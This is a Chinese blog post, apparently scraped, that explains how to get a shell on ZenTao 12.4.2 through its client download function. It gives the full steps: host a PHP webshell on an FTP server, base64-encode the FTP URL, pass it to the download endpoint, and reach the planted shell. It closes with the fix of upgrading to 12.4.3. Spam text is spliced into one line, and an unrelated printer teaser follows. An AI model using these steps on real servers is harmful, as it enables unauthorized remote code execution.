禅道12.4.2后台管理员权限Getshell是怎样的

本篇文章给大家分享的是有关禅道12.4.2后台管理员权限Getshell是怎样的，小编觉得挺实用的，因此分享给大家学习，希望大家阅读完这篇文章后可以有所收获，话不多说，跟着小编一起来看看吧。禅道是一款专业的国产开源研发项目管理软件，集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，完整覆盖了研发项目管理的核心流程。管理思想基于国际流行的敏捷项目管理方法——Scrum，在遵循其价值观的基础上，结合国内项目研发现状，整合了任务管理、需求管理、Bug管理、用例管理等多种功能，覆盖软件从计划到发布的整个生命周期。禅道12.4.2版本存在任意文件下载漏洞，该漏洞是因为client类中download方法中过滤不严谨可以使用ftp达成下载文件的目的。且下载文件存储目录可解析php文件，造成getshell。禅道≤12.4.2phpstudy2018+禅道12.4.2禅道官方下载地址：https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html3.1.下载完成后，放入phpstudy中安装即可3.2.检查扩展，要是存在未通过的扩展，在phpstudy中开启扩展即可。3.3.设置数据库信息，这里设置成自己的数据库配置。3.4.设置账号安装完成3.4．利用环境搭建，开启ftp服务，以windows2008R2为例，在添加角色，添加ftp3.5.然后在Internet信息服务下的网站添加ftp服务。3.6.根据自己的情况配置，下一步即可3.7.在ftp目录下放一个webshell然后浏览器查看ftp是否可以正常访问1.首先把ftp加上sh免费云主机域名ell的路径进行base64编码加密前:ftp://192.168.3.200/shell.php加密后:ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==2.使用EXP，把加密后的base64放入exp中的里http://127.0.0.1/zentaopms/www/index.php/client-download-1--1.html3.使用以下链接路径测试是否shell已下载到服务器http://192.168.3.200/zentaopms/www/data/client/1/shell.php1、升级到禅道12.4.3及之后的版本以上就是禅道12.4.2后台管理员权限Getshell是怎样的，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注云编程开发博客行业资讯频道。

相关推荐: HP 打印机的一个诡异问题

最近发现公司HP打印机的一个诡异问题，忙活大半天，记下过程做个纪念。 打印机型号：HP LaserJet Pro MFP M127-M128 PCLmS；扫描打印一体的网络打印机。 网络环境和配置：DHCP自动获取，网络设备上做了IP绑定（192.168.0.…